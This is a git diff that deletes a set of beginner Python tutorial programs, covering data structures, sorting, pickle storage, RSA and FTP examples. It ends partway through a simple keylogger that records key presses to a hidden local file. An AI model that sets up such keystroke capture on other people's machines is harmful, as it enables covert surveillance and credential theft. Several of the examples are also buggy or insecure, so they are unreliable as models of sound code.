+ pass preinitialized list to set the values of the array elements + ''' + self.size = size + # If only array size is initialized then, initialize all the elements as None type + if(defaultValue == None): + self.items = list() + for i in range(size): + self.items.append(defaultValue) + else: + # If user has given the default values for the array + self.items = list() + + if(len(defaultValue) == size or len(defaultValue) < size): + for j in range(len(defaultValue)): + if(defaultValue[j]): + self.items.append(defaultValue[j]) + for i in range(len(defaultValue), size): + self.items.append(None) + else: + print('Elements are more than the size specified') + + def myLen(self): + ''' This function returns the length of the Array (Only initialised number of elements)''' + length = 0 + for i in self.items: + if i == None: + continue + else: + length += 1 + return length + + def insertFirst(self, element): + ''' This function adds the element to the beginning of the array ''' + if (self.myLen() < self.size): + for i in range(self.myLen(), 0, -1): + self.items[i] = self.items[i - 1] + self.items[0] = element + else: + print('Element index out of range') + + def insertAtIndex(self, index, element): + ''' This function adds the element to the beginning of the array ''' + if (self.myLen() < self.size): + for i in range(self.myLen(), index, -1): + self.items[i] = self.items[i - 1] + self.items[index] = element + else: + print('Element index out of range') + + def insertAfterIndex(self, index, element): + ''' This function adds the element to the beginning of the array ''' + if (self.myLen() < self.size): + for i in range(self.myLen(), index + 1, -1): + self.items[i] = self.items[i - 1] + self.items[index + 1] = element + else: + print('Element index out of range') + + def insertBeforeIndex(self, index, element): + ''' This function adds the element to the beginning of the array ''' + if (self.myLen() < self.size): + for i in range(self.myLen(), index - 1, -1): + self.items[i] = self.items[i - 1] + self.items[index - 1] = element + else: + print('Element index out of range') + + def delete(self, element): + if element in self.items: + Index = self.items.index(element) + self.items[Index] = None + else: + print('This element is not in the Array!') + + def search(self, element): + if element in self.items: + position = 0 + for i in range(self.myLen()): + if(self.items[i] == element): + break + else: + position += 1 + + print('Element {} found at position {}'.format(element, position)) + else: + print('This element is not in the Array!') + +if __name__ == '__main__': + myArray = Array(5, [1]) + print(myArray.items, myArray.myLen()) # [1, None, None, None, None] 1 + myArray.insertFirst(3) + print(myArray.items, myArray.myLen()) # [3, 1, None, None, None] 2 + myArray.insertAfterIndex(1,4) + print(myArray.items, myArray.myLen()) # [3, 1, 4, None, None] 3 + myArray.insertBeforeIndex(3,5) + print(myArray.items, myArray.myLen()) # [3, 1, 5, 4, None] 4 + myArray.delete(5) + print(myArray.items, myArray.myLen()) # [3, 1, None, 4, None] 3 + myArray.search(4) # Element 4 found at position 3 diff --git a/Programs/Test/P60_PickleModule.py b/Programs/Test/P60_PickleModule.py deleted file mode 100644 index b0c68e4..0000000 --- a/Programs/Test/P60_PickleModule.py +++ /dev/null @@ -1,32 +0,0 @@ -# Author: OMKAR PATHAK - -# In this example we will see how to use pickle module for storing the data efficiently! -# The pickle module translates an in-memory Python object into a serialized byte stream—a string of bytes -# that can be written to any file-like object. - -import pickle - -def storeData(): - # initializing data to be stored in db - Omkar = {'key' : 'Omkar', 'name' : 'Omkar Pathak', 'age' : 21, 'pay' : 40000} - Jagdish = {'key' : 'Jagdish', 'name' : 'Jagdish Pathak', 'age' : 50, 'pay' : 50000} - - # database - db = {} - db['Omkar'] = Omkar - db['Jagdish'] = Jagdish - - dbfile = open('examplePickle', 'ab') # Its important to use binary mode - pickle.dump(db, dbfile) # source, destination - dbfile.close() - -def loadData(): - dbfile = open('examplePickle', 'rb') # for reading also binary mode is important - db = pickle.load(dbfile) - for keys in db: - print(keys,'=>',db[keys]) - dbfile.close() - -if __name__ == '__main__': - storeData() - loadData() diff --git a/Programs/Test/P61_AddressBook.py b/Programs/Test/P61_AddressBook.py deleted file mode 100644 index 98dec39..0000000 --- a/Programs/Test/P61_AddressBook.py +++ /dev/null @@ -1,150 +0,0 @@ -# Author: OMKAR PATHAK - -# In this small mini project we will be creating a simple address book application that will store, search and -# delete records - -import pickle, os - -class AddressBook(object): - def __init__(self, name = None, address = None, email = None, phone = None): - self.name = name - self.address = address - self.email = email - self.phone = phone - self.contacts = {} - self.filename = 'addressbook' - - def __str__(self): - return '[Name: {0} | Address: {1} | Email: {2} | Phone: {3}]'.format(self.name, self.address, self.email, self.phone) - - def __repr__(self): - return '[Name: {0} | Address: {1} | Email: {2} | Phone: {3}]'.format(self.name, self.address, self.email, self.phone) - - # Adding details provided by the user in our Address Book - def addContacts(self): - try: - if os.path.exists(self.filename) and os.path.getsize(self.filename) > 0: - myAddressBook = open(self.filename, 'rb') - data = pickle.load(myAddressBook) - myAddressBook.close() - else: - myAddressBook = open(self.filename, 'wb') - data = {} - - contact = self.getDetailsFromUser() - data[contact['Name']] = contact - myAddressBook = open(self.filename, 'wb') - pickle.dump(data, myAddressBook) - myAddressBook.close() - print('Contact Added Successfully!') - except: - print('There was an error! Contact was not added.') - finally: - myAddressBook.close() - - # Getting the details from the user to adding the Address Book - def getDetailsFromUser(self): - try: - self.contacts['Name'] = str(input('Enter Contact\'s Full Name: ')) - self.contacts['Address'] = str(input('Enter Contact\'s Address: ')) - self.contacts['Email'] = str(input('Enter Contact\'s Email Address: ')) - self.contacts['Phone'] = int(input('Enter Contact\'s Phone Number: ')) - return self.contacts - except KeyboardInterrupt as error: - raise error - - # To display ALL the contact in our Address Book - def displayContacts(self): - if os.path.exists(self.filename) and os.path.getsize(self.filename) > 0: - myAddressBook = open(self.filename, 'rb') - data = pickle.load(myAddressBook) - myAddressBook.close() - if data: - for records in data.values(): - print(records) - myAddressBook.close() - else: - print('No Record in database.') - - # To search for a specific contact in our Address Book - def searchContacts(self): - if os.path.exists(self.filename) and os.path.getsize(self.filename) > 0: - myAddressBook = open(self.filename, 'rb') - data = pickle.load(myAddressBook) - myAddressBook.close() - try: - contactToSearch = input('Enter the name of the contact to search: ') - counter = 0 - for contact in data.values(): - if contactToSearch in contact['Name']: - print(data[contact['Name']]) - counter += 1 - if counter == 0: - print('No record found whose name is:', contactToSearch) - except: - print('Error occured!') - else: - print('No Record in database.') - - # For modifying contacts - def modifyContacts(self): - if os.path.exists(self.filename) and os.path.getsize(self.filename) > 0: - myAddressBook = open(self.filename, 'rb') - data = pickle.load(myAddressBook) - myAddressBook.close() - try: - contactToModify = input('Enter the name of the contact to modify (Only enter full name): ') - # Search for the record to update - for contact in data.values(): - if contactToModify == contact['Name']: - contact = data[contactToModify] - break - option = int(input('1. To modify name, 2. To modify address, 3. To modify email, 4. To modify phone: ')) - if option == 1: - contact['Name'] = input('Enter Name to modify: ') - del data[contactToModify] - data[contact['Name']] = contact - print('Successful') - elif option == 2: - contact['Address'] = input('Enter Address to modify: ') - del data[contactToModify] - data[contactToModify] = contact - print('Successful') - elif option == 3: - contact['Email'] = input('Enter Email to modify: ') - del data[contactToModify] - data[contactToModify] = contact - print('Successful') - elif option == 4: - contact['Phone'] = input('Enter Phone to modify: ') - del data[contactToModify] - data[contactToModify] = contact - print('Successful') - else: - print('Incorrect option selected.') - except: - print('Error occured. No such record found. Try Again!') - finally: - myAddressBook = open(self.filename, 'wb') - pickle.dump(data, myAddressBook) - myAddressBook.close() - else: - print('No Record in database.') - -if __name__ == '__main__': - myBook = AddressBook() - print('Enter 1. To Add Contacts 2. For Searching a Contact 3. For Modifying a Contact 4. To Display Contacts 5. To Exit') - while True: - choice = int(input('Enter your choice: ')) - if choice == 1: - myBook.addContacts() - elif choice == 2: - myBook.searchContacts() - elif choice == 3: - myBook.modifyContacts() - elif choice == 4: - myBook.displayContacts() - elif choice == 5: - exit() - else: - print('Invalid Option. Try Again!') diff --git a/Programs/Test/P62_BinaryTree.py b/Programs/Test/P62_BinaryTree.py deleted file mode 100644 index 56a3bc1..0000000 --- a/Programs/Test/P62_BinaryTree.py +++ /dev/null @@ -1,82 +0,0 @@ -# Author: OMKAR PATHAK -# A data structure in which a record is linked to two successor records, usually referred to as -# the left branch when greater and the right when less than the previous record. - -class BinaryTree(object): - - def __init__(self,nodeData): - self.left = None - self.right = None - self.nodeData = nodeData - - def getLeftChild(self): - return self.left - - def getRightChild(self): - return self.right - - def setnodeDataValue(self,value): - self.nodeData = value - - def getnodeDataValue(self): - return self.nodeData - - def insertRight(self,newnodeData): - if self.right == None: - self.right = BinaryTree(newnodeData) - else: - tree = BinaryTree(newnodeData) - tree.right = self.right - self.right = tree - - def insertLeft(self,newnodeData): - if self.left == None: - self.left = BinaryTree(newnodeData) - else: - tree = BinaryTree(newnodeData) - self.left = tree - tree.left = self.left - - - - -def printTree(tree): - if tree != None: - printTree(tree.getLeftChild()) - print(tree.getnodeDataValue()) - printTree(tree.getRightChild()) - - -def pprint(head_node, _pre="", _last=True, term=False): - data = "*" if head_node is None else head_node.nodeData - - print(_pre, "`- " if _last else "|- ", data, sep="") - _pre += " " if _last else "| " - - if term: return - - left = head_node.getLeftChild() - right = head_node.getRightChild() - - for i, child in enumerate([left, right]): - pprint(child, _pre, bool(i) ,term=not(bool(child))) - - - - -def testTree(): - myTree = BinaryTree("1") - myTree.insertLeft("2") - myTree.insertRight("3") - myTree.insertRight("4") - printTree(myTree) - pprint(myTree) - -if __name__ == '__main__': - testTree() - - # OUTPUT - # 2 - # 1 - # 4 - # 3 diff --git a/Programs/Test/P63_Graph.py b/Programs/Test/P63_Graph.py deleted file mode 100644 index 0d562b2..0000000 --- a/Programs/Test/P63_Graph.py +++ /dev/null @@ -1,80 +0,0 @@ -# Author: OMKAR PATHAK -# In this example, we will see how to implement graphs in Python - -class Vertex(object): - ''' This class helps to create a Vertex for our graph ''' - def __init__(self, key): - self.key = key - self.edges = {} - - def addNeighbour(self, neighbour, weight = 0): - self.edges[neighbour] = weight - - def __str__(self): - return str(self.key) + 'connected to: ' + str([x.key for x in self.edges]) - - def getEdges(self): - return self.edges.keys() - - def getKey(self): - return self.key - - def getWeight(self, neighbour): - try: - return self.edges[neighbour] - except: - return None - -class Graph(object): - ''' This class helps to create Graph with the help of created vertexes ''' - def __init__(self): - self.vertexList = {} - self.count = 0 - - def addVertex(self, key): - self.count += 1 - newVertex = Vertex(key) - self.vertexList[key] = newVertex - return newVertex - - def getVertex(self, vertex): - if vertex in self.vertexList: - return self.vertexList[vertex] - else: - return None - - def addEdge(self, fromEdge, toEdge, cost = 0): - if fromEdge not in self.vertexList: - newVertex = self.addVertex(fromEdge) - if toEdge not in self.vertexList: - newVertex = self.addVertex(toEdge) - self.vertexList[fromEdge].addNeighbour(self.vertexList[toEdge], cost) - - def getVertices(self): - return self.vertexList.keys() - - def __iter__(self): - return iter(self.vertexList.values()) - - -if __name__ == '__main__': - graph = Graph() - graph.addVertex('A') - graph.addVertex('B') - graph.addVertex('C') - graph.addVertex('D') - - graph.addEdge('A', 'B', 5) - graph.addEdge('A', 'C', 6) - graph.addEdge('A', 'D', 2) - graph.addEdge('C', 'D', 3) - - for vertex in graph: - for vertexes in vertex.getEdges(): - print('({}, {}) => {}'.format(vertex.getKey(), vertexes.getKey(), vertex.getWeight(vertexes))) - - # OUTPUT: - # (C, D) => 3 - # (A, C) => 6 - # (A, D) => 2 - # (A, B) => 5 diff --git a/Programs/Test/P64_DepthFirstTraversal.py b/Programs/Test/P64_DepthFirstTraversal.py deleted file mode 100644 index 5cf6da8..0000000 --- a/Programs/Test/P64_DepthFirstTraversal.py +++ /dev/null @@ -1,82 +0,0 @@ -# Author: OMKAR PATHAK - -# Depth first search is performed in three ways: -# Inorder -# Preorder -# Postorder - -class Node(object): - def __init__(self, data = None): - self.left = None - self.right = None - self.data = data - - # for setting left node - def setLeft(self, node): - self.left = node - - # for setting right node - def setRight(self, node): - self.right = node - - # for getting the left node - def getLeft(self): - return self.left - - # for getting right node - def getRight(self): - return self.right - - # for setting data of a node - def setData(self, data): - self.data = data - - # for getting data of a node - def getData(self): - return self.data - - -# in this we traverse first to the leftmost node, then print its data and then traverse for rightmost node -def inorder(Tree): - if Tree: - inorder(Tree.getLeft()) - print(Tree.getData(), end = ' ') - inorder(Tree.getRight()) - return - -# in this we first print the root node and then traverse towards leftmost node and then to the rightmost node -def preorder(Tree): - if Tree: - print(Tree.getData(), end = ' ') - preorder(Tree.getLeft()) - preorder(Tree.getRight()) - return - -# in this we first traverse to the leftmost node and then to the rightmost node and then print the data -def postorder(Tree): - if Tree: - postorder(Tree.getLeft()) - postorder(Tree.getRight()) - print(Tree.getData(), end = ' ') - return - -if __name__ == '__main__': - root = Node(1) - root.setLeft(Node(2)) - root.setRight(Node(3)) - root.left.setLeft(Node(4)) - - print('Inorder Traversal:') - inorder(root) - print('\nPreorder Traversal:') - preorder(root) - print('\nPostorder Traversal:') - postorder(root) - - # OUTPUT: - # Inorder Traversal: - # 4 2 1 3 - # Preorder Traversal: - # 1 2 4 3 - # Postorder Traversal: - # 4 2 3 1 diff --git a/Programs/Test/P65_BreadthFirstTraversal.py b/Programs/Test/P65_BreadthFirstTraversal.py deleted file mode 100644 index 1517593..0000000 --- a/Programs/Test/P65_BreadthFirstTraversal.py +++ /dev/null @@ -1,51 +0,0 @@ -# Author: OMKAR PATHAK - -# Breadth First Traversal is the one in which we print the data level wise. Refer below code and output for more -# explanation - -class Node(object): - def __init__(self, data = None): - self.leftChild = None - self.rightChild = None - self.data = data - -def height(node): - if node is None: - return 0 - else: - leftHeight = height(node.leftChild) - rightHeight = height(node.rightChild) - - if leftHeight > rightHeight: - return leftHeight + 1 - else: - return rightHeight + 1 - -def breadthFirstTraversal(root): - if root == None: - return 0 - else: - h = height(root) - for i in range(h + 1): - printBFT(root, i) - -def printBFT(root, level): - if root is None: - return - else: - if level == 1: - print(root.data, end = ' ') - elif level > 1: - printBFT(root.leftChild, level - 1) - printBFT(root.rightChild, level - 1) - -if __name__ == '__main__': - root = Node(1) - root.leftChild = Node(2) - root.rightChild = Node(3) - root.leftChild.leftChild = Node(4) - - breadthFirstTraversal(root) - - # OUTPUT: - # 1 2 3 4 diff --git a/Programs/Test/P66_HeapSort.py b/Programs/Test/P66_HeapSort.py deleted file mode 100644 index 0324b56..0000000 --- a/Programs/Test/P66_HeapSort.py +++ /dev/null @@ -1,50 +0,0 @@ -# Author: OMKAR PATHAK - -# Approach: -# Heap sort happens in two phases. In the first phase, the array -# is transformed into a heap. A heap is a binary tree where -# 1) each node is greater than each of its children -# 2) the tree is perfectly balanced -# 3) all leaves are in the leftmost position available. -# In phase two the heap is continuously reduced to a sorted array: -# 1) while the heap is not empty -# - remove the top of the head into an array -# - fix the heap. - -# Time Complexity of Solution: -# Best O(nlog(n)); Average O(nlog(n)); Worst O(nlog(n)). - -def HeapSort(alist): - heapify(alist) # create the heap - end = len(alist) - 1 - while end > 0: - alist[end], alist[0] = alist[0], alist[end] - shiftDown(alist, 0, end - 1) - end -= 1 - -def heapify(alist): - ''' This function helps to maintain the heap property ''' - # start = (len(alist) - 2) // 2 (faster execution) - start = len(alist) // 2 - while start >= 0: - shiftDown(alist, start, len(alist) - 1) - start -= 1 - -def shiftDown(alist, start, end): - root = start - while root * 2 + 1 <= end: - child = root * 2 + 1 - # right child exists and is greater than left child - if child + 1 <= end and alist[child] < alist[child + 1]: - child += 1 - # if child is greater than root(parent), then swap their positions - if child <= end and alist[root] < alist[child]: - alist[root], alist[child] = alist[child], alist[root] - root = child - else: - return - -if __name__ == '__main__': - alist = [12, 2, 4, 5, 2, 3] - HeapSort(alist) - print('Sorted Array:',alist) diff --git a/Programs/Test/P67_SieveOfEratosthenes.py b/Programs/Test/P67_SieveOfEratosthenes.py deleted file mode 100644 index ff81f35..0000000 --- a/Programs/Test/P67_SieveOfEratosthenes.py +++ /dev/null @@ -1,34 +0,0 @@ -# Auhtor: OMKAR PATHAK - -# Sieve of Eratosthenes is one of the efficient algorithms to find all the prime numbers upto n, where n can be -# upto 10 million. This algorithm is very efficient and fast and hence is preferred by many competitive programmers. - -# Algo: -# 1. Create a list of consecutive integers from 2 to n: (2, 3, 4, …, n). -# 2. Initially, let p equal 2, the first prime number. -# 3. Starting from p, count up in increments of p and mark each of these numbers greater than p itself in the list. -# These numbers will be 2p, 3p, 4p, etc.; note that some of them may have already been marked. -# 4. Find the first number greater than p in the list that is not marked. If there was no such number, stop. Otherwise, -# let p now equal this number (which is the next prime), and repeat from step 3. -# When the algorithm terminates, all the numbers in the list that are not marked are prime. - -def SieveOfEratosthenes(n): - primes = [True] * (n + 1) - p = 2 # because p is the smallest prime - - while(p * p <= n): - # if p is not marked as False, this it is a prime - if(primes[p]) == True: - # mark all the multiples of number as False - for i in range(p * 2, n + 1, p): - primes[i] = False - - p += 1 - - # printing all primes - for i in range(2, n): - if primes[i]: - print(i) - -if __name__ == '__main__': - SieveOfEratosthenes(1000) diff --git a/Programs/Test/P68_TopologicalSort.py b/Programs/Test/P68_TopologicalSort.py deleted file mode 100644 index c7db7a4..0000000 --- a/Programs/Test/P68_TopologicalSort.py +++ /dev/null @@ -1,66 +0,0 @@ -# Author: OMKAR PATHAK - -# Time Complexity: O(|V| + |E|) -# One important point to remember is that topological sort can be applied only to acyclic graph. - -class Graph(): - def __init__(self, count): - self.vertex = {} - self.count = count # vertex count - - # for printing the Graph vertexes - def printGraph(self): - for i in self.vertex.keys(): - print(i,' -> ', ' -> '.join([str(j) for j in self.vertex[i]])) - - # for adding the edge beween two vertexes - def addEdge(self, fromVertex, toVertex): - # check if vertex is already present, - if fromVertex in self.vertex.keys(): - self.vertex[fromVertex].append(toVertex) - else: - # else make a new vertex - self.vertex[fromVertex] = [toVertex] - self.vertex[toVertex] = [] - - def topologicalSort(self): - visited = [False] * self.count # Marking all vertices as not visited - stack = [] # Stack for storing the vertex - for vertex in range(self.count): - # Call the recursive function only if not visited - if visited[vertex] == False: - self.topologicalSortRec(vertex, visited, stack) - - print(' '.join([str(i) for i in stack])) - # print(stack) - - # Recursive function for topological Sort - def topologicalSortRec(self, vertex, visited, stack): - - # Mark the current node in visited - visited[vertex] = True - - # mark all adjacent nodes of the current node - try: - for adjacentNode in self.vertex[vertex]: - if visited[adjacentNode] == False: - self.topologicalSortRec(adjacentNode, visited, stack) - except KeyError: - return - - # Push current vertex to stack which stores the result - stack.insert(0,vertex) - -if __name__ == '__main__': - g= Graph(6) - g.addEdge(5, 2) - g.addEdge(5, 0) - g.addEdge(4, 0) - g.addEdge(4, 1) - g.addEdge(2, 3) - g.addEdge(3, 1) - # g.printGraph() - g.topologicalSort() - - # OUTPUT: - # 5 4 2 3 1 0 diff --git a/Programs/Test/P69_ReverseWords.py b/Programs/Test/P69_ReverseWords.py deleted file mode 100644 index 8c69e0e..0000000 --- a/Programs/Test/P69_ReverseWords.py +++ /dev/null @@ -1,12 +0,0 @@ -# Author: OMKAR PATHAK - -# Python program to reverse the words - -userInput = input() -userInput = userInput.split() - -print(' '.join(userInput[::-1])) - -# OUTPUT: -# Computer Science -# Science Computer diff --git a/Programs/Test/P70_SimpleProgressBar.py b/Programs/Test/P70_SimpleProgressBar.py deleted file mode 100644 index ee03455..0000000 --- a/Programs/Test/P70_SimpleProgressBar.py +++ /dev/null @@ -1,18 +0,0 @@ -# This is the program for creating a simple progress bar. You may need this in many of your projects. -# You can install a module for progress bar by 'pip3 install progressbar2' - -import sys, time - -def progressBar(count, total, suffix=''): - barLength = 60 - filledLength = int(round(barLength * count / float(total))) - - percent = round(100.0 * count / float(total), 1) - bar = '=' * filledLength + '-' * (barLength - filledLength) - - sys.stdout.write('[%s] %s%s ...%s\r' % (bar, percent, '%', suffix)) - sys.stdout.flush() - -for i in range(10): - time.sleep(1) - progressBar(i, 10) diff --git a/Programs/Test/P71_PythonUnittest.py b/Programs/Test/P71_PythonUnittest.py deleted file mode 100644 index b5ef685..0000000 --- a/Programs/Test/P71_PythonUnittest.py +++ /dev/null @@ -1,44 +0,0 @@ -# Author: OMKAR PATHAK - -# This module helps to build the testcases for a particular program to test its integrity and overall execution - -import unittest - -def checkPrime(number): - '''This function checks if the number is a prime number''' - if number == 2: - return True - if number > 2: - for i in range(2, number): - if number % i == 0: - return False - break - else: - return True - break - else: - return False - -# Class for providing test cases -class CheckPrime(unittest.TestCase): - - def test_checkPrime(self): - self.assertEqual(checkPrime(3), True) # Check if the function returns the value specified in the second argument - - def test_checkPrime2(self): - self.assertTrue(checkPrime(5)) # Check if the function returns True - self.assertFalse(checkPrime(4)) # Check if the function returns False - - def test_checkPrime3(self): - # Check that providing a string input produces an error - with self.assertRaises(TypeError): - checkPrime('1') - -if __name__ == '__main__': - unittest.main() - - # OUTPUT: - # ---------------------------------------------------------------------- - # Ran 3 tests in 0.000s - #   - # OK diff --git a/Programs/Test/P72_PythonLambda.py b/Programs/Test/P72_PythonLambda.py deleted file mode 100644 index 67fc881..0000000 --- a/Programs/Test/P72_PythonLambda.py +++ /dev/null @@ -1,33 +0,0 @@ -# Author: OMKAR PATHAK - -# In this program we will learn what Python lambda is. -# The lambda operator or lambda function is a way to create small anonymous functions, i.e. functions without -# a name. These functions are throw-away functions, i.e. they are just needed where they have been created. -# Lambda functions are mainly used in combination with the functions filter(), map() and reduce(). The lambda -# feature was added to Python due to the demand from Lisp programmers. - -# The argument list consists of a comma separated list of arguments and the expression is an arithmetic -# expression using these arguments. You can assign the function to a variable to give it a name. -# The following example of a lambda function returns the sum of its two arguments: - -myFunc = lambda x, y: x * y - -print(myFunc(2, 3)) #output: 6 - -#Here we are directly creating the function and passing the arguments -print((lambda x, y: x * y)(2, 3)) #same output i.e 6 - -print(type(lambda x, y: x * y)) #Output: - -# example to find squares of all numbers of a list -myList = [i for i in range(10)] - -# returns square of each number -myFunc2 = lambda x: x * x - -squares = list(map(myFunc2, myList)) -print(squares) # Output: [0, 1, 4, 9, 16, 25, 36, 49, 64, 81] - -print(list(map(lambda x: x * x, myList))) #same as above - - diff --git a/Programs/Test/P73_SimplePythonEncryption.py b/Programs/Test/P73_SimplePythonEncryption.py deleted file mode 100644 index f898416..0000000 --- a/Programs/Test/P73_SimplePythonEncryption.py +++ /dev/null @@ -1,27 +0,0 @@ -# Author: OMKAR PATHAK - -# This program illustrates a simple Python encryption example using the RSA Algotrithm - -# RSA is an algorithm used by modern computers to encrypt and decrypt messages. It is an asymmetric -# cryptographic algorithm. Asymmetric means that there are two different keys (public and private). - -# For installation: sudo pip3 install pycrypto - -from Crypto.PublicKey import RSA -from Crypto import Random - -randomGenerator = Random.new().read -# Generating a private key and a public key -# key stores both the keys -key = RSA.generate(1024, randomGenerator) # 1024 is the size of the key in bits -print(key) # Prints private key -print(key.publickey()) # Prints public key - -# Encryption using Public Key -publicKey = key.publickey() -encryptedData = publicKey.encrypt('My name is Omkar Pathak'.encode('utf-8'), 32) -print(encryptedData) - -# Decryption using Private Key -decryptedData = key.decrypt(encryptedData) -print(decryptedData) diff --git a/Programs/Test/P74_PythonGenerators.py b/Programs/Test/P74_PythonGenerators.py deleted file mode 100644 index 16333bf..0000000 --- a/Programs/Test/P74_PythonGenerators.py +++ /dev/null @@ -1,18 +0,0 @@ -# Author: OMKAR PATHAK - -# A Python generator is a function which returns a generator iterator (just an object we can iterate over) -# by calling yield - -def simpleGenerator(numbers): - i = 0 - while True: - check = input('Wanna generate a number? (If yes, press y else n): ') - if check in ('Y', 'y') and len(numbers) > i: - yield numbers[i] - i += 1 - else: - print('Bye!') - break - -for number in simpleGenerator([10, 11, 12, 14]): - print(number) diff --git a/Programs/Test/P75_TicTacToe.py b/Programs/Test/P75_TicTacToe.py deleted file mode 100644 index a8dcee4..0000000 --- a/Programs/Test/P75_TicTacToe.py +++ /dev/null @@ -1,75 +0,0 @@ -# Author: OMKAR PATHAK - -# A simple example of tic tac toe game - -# For storing user choices -choices = [] - -# For initializing the board with numbers -for i in range(0, 9): - choices.append(str(i)) - -firstPlayer = True -winner = False -iterations = 0 # To terminate the loop - -# For drawing board on to the terminal -def printBoard(): - print('\n=============') - print('| ' + choices[0] + ' | ' + choices[1] + ' | ' + choices[2] + ' |') - print('=============') - print('| ' + choices[3] + ' | ' + choices[4] + ' | ' + choices[5] + ' |') - print('=============') - print('| ' + choices[6] + ' | ' + choices[7] + ' | ' + choices[8] + ' |') - print('=============\n') - -# Play the game while the winner is not decided or the game is drawn -while not winner and iterations < 9: - printBoard() - - iterations += 1 - - if firstPlayer == True: - print('Player 1: ', end = '') - else: - print('Player 2: ', end = '') - - try: - playerInput = int(input()) - except: - print('Please enter a valid number from the board') - continue - - # Check if userInput already has 'X' or 'O' - if choices[playerInput] == 'X' or choices[playerInput] == 'O': - print('Illegal move, try again!') - continue - - if firstPlayer: - choices[playerInput] = 'X' - else: - choices[playerInput] = 'O' - - firstPlayer = not firstPlayer - - # Winning conditions - for index in range(0, 3): - # For [0,1,2], [3,4,5], [6,7,8] - if (choices[index * 3] == choices[((index * 3) + 1)] and choices[index * 3] == choices[((index * 3) + 2)]): - winner = True - printBoard() - - # For [0,3,6], [1,4,7], [2,5,8] - if(choices[index] == choices[index + 3] and choices[index + 3] == choices[index + 6]): - winner = True - printBoard() - - if((choices[0] == choices[4] and choices[4] == choices[8]) or - (choices[2] == choices[4] and choices[4] == choices[6])): - winner = True - printBoard() - -if winner: - print('Player ' + str(int(firstPlayer + 1)) + ' wins!') -else: - print('Game drawn') diff --git a/Programs/Test/P76_PythonFTP.py b/Programs/Test/P76_PythonFTP.py deleted file mode 100644 index 38c35dc..0000000 --- a/Programs/Test/P76_PythonFTP.py +++ /dev/null @@ -1,36 +0,0 @@ -# Author: OMKAR PATHAK - -# For transfering files to your another/local computer, you will have to install a FTP -# Daemon. Execute following for doing the same: -# 1. sudo apt-get install vsftpd -# 2. service vsftpd start -# 3. sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.orig -# 4. sudo nano /etc/vsftpd.conf - -# Now change the following settings in that file: -# -# anonymous_enable=NO # disable anonymous login -# local_enable=YES # permit local logins -# write_enable=YES # enable FTP commands which change the filesystem -# local_umask=022 # value of umask for file creation for local users -# dirmessage_enable=YES # enable showing of messages when users first enter a new directory -# xferlog_enable=YES # a log file will be maintained detailing uploads and downloads -# connect_from_port_20=YES # use port 20 (ftp-data) on the server machine for PORT style connections -# xferlog_std_format=YES # keep standard log file format -# listen=NO # prevent vsftpd from running in standalone mode -# listen_ipv6=YES # vsftpd will listen on an IPv6 socket instead of an IPv4 one -# pam_service_name=vsftpd # name of the PAM service vsftpd will use -# userlist_enable=YES # enable vsftpd to load a list of usernames -# tcp_wrappers=YES # turn on tcp wrappers - -import ftplib - -def ftp_upload(ftpObj, pathToSend, pathToRecv, fileType='TXT'): - """ - A function for uploading files to an FTP server - @param ftpObj: The file transfer protocol object - @param path: The path to the file to upload - """ - with open(pathToSend, 'rb') as fobj: - ftpObj.storlines('STOR ' + pathToRecv, fobj) - diff --git a/Programs/Test/P77_FileSearching.py b/Programs/Test/P77_FileSearching.py deleted file mode 100644 index a651b5c..0000000 --- a/Programs/Test/P77_FileSearching.py +++ /dev/null @@ -1,51 +0,0 @@ -# Author: OMKAR PATHAK - -# This program will help us implement concepts such as binary searching, operating system. -# P.S: Dont run this on root. That is dont give the DIRECTORY path as root else the program might -# consume all your resources and your system might get crashed - -import os -from pathlib import Path - -DIRECTORY = '/home/omkarpathak/Desktop' - -# List all the directories in the DIRECTORY -dirs = [name for name in os.listdir(DIRECTORY) if os.path.isdir(os.path.join(DIRECTORY, name))] - -# List all the files in the DIRECTORY -# files = [name for name in os.listdir(DIRECTORY) if os.path.isfile(os.path.join(DIRECTORY, name))] -files = [] - -for root, dirs, files in os.walk(DIRECTORY): - for File in files: - files.append(root + File) - -dirs.sort() -files.sort() - -def binarySearch(target, List): - '''This function performs a binary search on a sorted list and returns the position if successful else returns -1''' - left = 0 #First position of the list - right = len(List) - 1 #Last position of the list - global iterations - iterations = 0 - - while left <= right: #U can also write while True condition - iterations += 1 - mid = (left + right) // 2 - if target == List[mid]: - return mid, List[mid] - elif target < List[mid]: - right = mid - 1 - else: - left = mid + 1 - return -1 - -print(dirs) -print(files) - -try: - result, filePath = binarySearch('server.py', files) - print(os.path.abspath(filePath)) -except: - print('File not found') diff --git a/Programs/Test/P78_HashTable.py b/Programs/Test/P78_HashTable.py deleted file mode 100644 index c4aaf61..0000000 --- a/Programs/Test/P78_HashTable.py +++ /dev/null @@ -1,40 +0,0 @@ -# Author: OMKAR PATHAK - -# In computing, a hash table (hash map) is a data structure which implements an associative array abstract -# data type, a structure that can map keys to values. A hash table uses a hash function to compute an index -# into an array of buckets or slots, from which the desired value can be found. - -# Python's built-in data type dictionary uses hash tables to retrieve key value pairs. - -class HashMap(object): - def __init__(self): - self.hash_map = [[(None, None)] for _ in range(10)] - - def insert(self, key, value): - hash_key = hash(key) % len(self.hash_map) - key_exists = 0 - hash_list = self.hash_map[hash_key] - # print(key, value) - for i, key_value_pair in enumerate(hash_list): - key_in_table, value_in_table = key_value_pair - if key == key_in_table or key_in_table == None: - key_exists = 1 - if key_exists: - hash_list[i] = ((key, value)) - else: - hash_list.append((key, value)) - - def get(self, key): - hash_key = hash(key) % len(self.hash_map) - hash_list = self.hash_map[hash_key] - for i, key_value in enumerate(hash_list): - key_in_table, value_in_table = key_value - return value_in_table - raise KeyError - -if __name__ == '__main__': - myDict = HashMap() - myDict.insert('Omkar', 'Pathak') - myDict.insert('Jagdish', 'Pathak') - value = myDict.get('Omkar') - print(value) diff --git a/Programs/Test/P79_SimplePythonKeylogger.py b/Programs/Test/P79_SimplePythonKeylogger.py deleted file mode 100644 index ff08573..0000000 --- a/Programs/Test/P79_SimplePythonKeylogger.py +++ /dev/null @@ -1,49 +0,0 @@ -# Author: OMKAR PATHAK - -# This file requires two modules to be installed: -# 1. pyxhook.py: file is provided in the folder itself -# 2. Xlib: sudo pip3 install python3-Xlib - -import pyxhook -import time - -# functions to write a newline character into the file -def newline(): - file = open('.keylogger', 'a') - file.write('\n') - file.close() - -# This function is called every time a key is pressed -def key_press_event(event): - global running - # write the key pressed into a file - if event.Key != 'space' and event.Key != 'Escape': - with open('.keylogger', 'a+') as File: - File.write(event.Key) - - # If the ascii value matches spacebar, add a newline in the file - if event.Key == 